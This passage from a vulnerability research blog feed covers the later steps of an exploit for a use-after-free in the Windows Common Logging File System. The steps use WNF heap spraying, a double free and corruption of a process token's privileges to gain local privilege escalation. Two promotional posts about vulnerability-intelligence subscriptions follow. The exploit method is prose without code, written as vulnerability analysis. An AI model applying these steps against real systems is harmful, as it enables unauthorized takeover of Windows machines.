  3. Allocate the vulnerable chunk of size 0x7a00 by opening the malicious Base Log File. This will get allocated from the freed segment in Step 2. Similar to Step 1, the last (0x11000-0x7a00) bytes will be unused. The vulnerable chunk will be freed for the first time shortly afterwards. Similar to Step 2, the entire segment will be back in the VS backend.
  4. Spray large number of WNF_STATE_DATA objects of size 0x1000. This will first use up fragmented chunks in VS backend and then the entire freed segment in Step 3. Note that no size lesser than 0x1000 (and maximum is 0x1000 for WNF_STATE_DATA objects) can be used because that will have an additional header that will corrupt the header in the vulnerable chunk, blocking a double free.
  5. Free the vulnerable chunk for the second time. This will end up freeing the memory of one of the WNF_STATE_DATA objects allocated in Step 4, without actually releasing the object.
  6. Allocate a WNF_STATE_DATA object of size 0x1000 over the freed chunk in Step 5. This will create 2 entirely overlapping WNF_STATE_DATA objects of size 0x1000.
  7. Free all the WNF_STATE_DATA objects allocated in Step 4. This will once again put the entire vulnerable segment (of size 0x11000) back in the VS backend.
  8. Spray large number of WNF_STATE_DATA objects of size 0x700, each with unique data. This will first use up fragmented chunks in VS backend and then the entire freed segment in Step 7. Each page in the freed segment is now split as (0x700,0x700,0x1d0 (remaining)). Note, here size 0x700 can be used because the rest of the exploit doesn’t require any more freeing of the vulnerable chunk. This now creates 2 overlapping WNF_STATE_DATA objects, one of size 0x1000 (allocated in Step 6) and other of size 0x700 (allocated here). Size 0x700 is specifically chosen for 2 reasons. The first reason being that the additional chunk header (of size 0x10) in the 0x700-sized object means that the StateData header of the 0x1000-sized object is 0x10 bytes before the StateData header of the 0x700-sized object. Thus, the StateData header of the 0x700-sized object overlaps with the StateData data of the 0x1000-sized object.
  9. Update the StateData of the 0x1000-sized object to corrupt the StateData header of the 0x700-sized object such that the AllocatedSize and DataSize fields of the 0x700-sized object is increased from 0x6c0 (0x700-0x40) to 0x7000 each. Now, querying or updating the 0x700-sized object will result in an out-of-bounds read/write into adjacent 0x700-sized WNF_STATE_DATA objects allocated in Step 8.
  10. Identify the corrupted 0x700-sized WNF_STATE_DATA object by querying all of them with a Buffer size of 0x700. All will return successfully except for the corrupted one, which will return with an error indicating that the buffer size is too small. This is because the DataSize field was increased (refer to Step 9).
  11. Query the corrupted 0x700-sized WNF_STATE_DATA object (identified in Step 10) to further identify the next 2 adjacent WNF_STATE_DATA objects using the OOB read. The first of these will be at offset 0x710 and the second will be at offset 0x1000 from the corrupted 0x700-sized WNF_STATE_DATA object.
  12. Free the second newly identified WNF_STATE_DATA object of size 0x700.
  13. Create a new process, which will run with the same privileges as the exploit process. The token of this new process is allocated over the freed WNF_STATE_DATA object in Step 12. This is the second reason for choosing size 0x700, as the size of the token object is also 0x700.
  14. Query the corrupted 0x700-sized WNF_STATE_DATA object (identified in Step 10) to identify the contents of the token allocated in Step 13 using the OOB read. Calculate the offset to the Privileges.Enabled and Privileges.Present fields in the token*object.
  15. Update the corrupted 0x700-sized WNF_STATE_DATA object to corrupt the first adjacent object (identified in Step 11) using the OOB write. Increase the AllocatedSize and DataSize fields in the StateData pointer (refer to Step 9).
  16. Update the most recent corrupted WNF_STATE_DATA object (Step 15) to corrupt the adjacent token object using the OOB write. Overwrite the Privileges.Enabled and Privileges.Presentfields in the token object to 0xffffffffffffffff, thereby setting all the privileges. This completes the LPE.

Conclusion

We hope you enjoyed reading the deep dive into a use-after-free in CLFS, and if you did, go ahead and check out our other blog posts on vulnerability analysis and exploitation. If you haven’t already, make sure to follow us on Twitter to keep up to date with our work. Happy hacking!

The post Exploiting a use-after-free in Windows Common Logging File System (CLFS) appeared first on Exodus Intelligence.

Exodus Answers Biden’s Call to Action

23 March 2022 at 15:53

White House issues call to action in light of new intelligence on Russian cyberthreat

The Biden administration renewed calls Monday for the private sector to address known vulnerabilities and shore up cyberdefenses in light of a looming possibility of a cyberattack from Russia on U.S. infrastructure. “The most troubling piece,” Anne Neubeger, the White House’s deputy national security adviser for cyber and emerging technology, said, is that “we continue to see known vulnerabilities for which we have patches available” used by cyberattackers to compromise U.S. companies. The administration has repeatedly warned the critical infrastructure sector about the potential for Russia to engage in malicious cyber activity against the United States in response to the recently imposed economic sanctions.

Exodus Intelligence is answering the call

In response to the renewed calls for the private sector to address known vulnerabilities, Exodus Intelligence is offering their N-Day vulnerability subscription for FREE from April 1st through July 1st.

The N-Day Vulnerability subscription provides customers with intelligence about critically exploitable, publicly disclosed vulnerabilities on widely used software, hardware, embedded devices, and industrial control systems.  Every vulnerability is analyzed, documented, and enriched with high-impact intelligence derived by some of the best reverse engineers in the world. At times, vendor patches fail to properly secure the underlying vulnerability.  Exodus Intelligence’s proprietary research enhances patch management efforts. Subscribed customers have access to an arsenal of more than 1200 vulnerability intelligence packages to ensure defensive measures are properly implemented.

For those that are concerned about Zero-day vulnerabilities, Exodus is also offering the benefit of our Zero-day vulnerability subscription for up to 50% off for new registrations from April 1st through July 1st. Exodus’ Zero-day Subscription provides customers with critically exploitable vulnerability reports, unknown to the public, affecting widely used and relied upon software, hardware, embedded devices, and industrial control systems. Customers will gain access to a proprietary library of over 200 Zero-day vulnerability reports in addition to proof of concept exploits and highly enriched vulnerability intelligence packages. These Zero-day Vulnerability Intelligence packages, unavailable anywhere else, enable customers to reduce their mean time to detect and mitigate critically exploitable vulnerabilities.

These offerings are available to the United States (and allied countries) Private and Public Sectors to gain the immediate benefit of advanced vulnerability analysis, mitigation guidance/signatures, and proof-of-concepts to test against current defenses.

To register for FREE N-day Intelligence, please fill out the webform here

Sample Report

The post Exodus Answers Biden’s Call to Action appeared first on Exodus Intelligence.

Exodus Wants to help CISA Shields Up

25 April 2022 at 15:43

CISA Shields Up in response to looming Russian Cyberattacks, Exodus Intelligence wants to help

Image from wallpaperswide.com

The Cybersecurity and Infrastructure Security Agency (CISA) recently launched the #ShieldsUp Campaign to provide organizations resources and recommended actions to heighten their security posture in light of the Russian invasion of Ukraine.  Evolving intelligence indicates that the Russian Government is exploring options for potential cyberattacks, and #CISA is calling on every organization – large and small – to be prepared to respond to disruptive cyber incidents.

In response to the renewed calls for the private sector to address known vulnerabilities, Exodus Intelligence is offering their N-Day vulnerability subscription for FREE through July 1st.

The N-Day Vulnerability subscription provides customers with intelligence about critically exploitable, publicly disclosed vulnerabilities on widely used software, hardware, embedded devices, and industrial control systems.  Every vulnerability is analyzed, documented, and enriched with high-impact intelligence derived by some of the best reverse engineers in the world. At times, vendor patches fail to properly secure the underlying vulnerability.  Exodus Intelligence’s proprietary research enhances patch management efforts. Subscribed customers have access to an arsenal of more than 1200 vulnerability intelligence packages to ensure defensive measures are properly implemented.

For those that are concerned about Zero-day vulnerabilities, Exodus is also offering the benefit of our Zero-day vulnerability subscription for up to 50% off for new registrations from April 1st through July 1st. Exodus’ Zero-day Subscription provides customers with critically exploitable vulnerability reports, unknown to the public, affecting widely used and relied upon software, hardware, embedded devices, and industrial control systems. Customers will gain access to a proprietary library of over 200 Zero-day vulnerability reports in addition to proof of concept exploits and highly enriched vulnerability intelligence packages. These Zero-day Vulnerability Intelligence packages, unavailable anywhere else, enable customers to reduce their mean time to detect and mitigate critically exploitable vulnerabilities.

These offerings are available to the United States (and allied countries) Private and Public Sectors to gain the immediate benefit of advanced vulnerability analysis, mitigation guidance/signatures, and proof-of-concepts to test against current defenses.

 

To register for FREE N-day Intelligence, please fill out the webform here

Sample Report

The post Exodus Wants to help CISA Shields Up appeared first on Exodus Intelligence.

❌
❌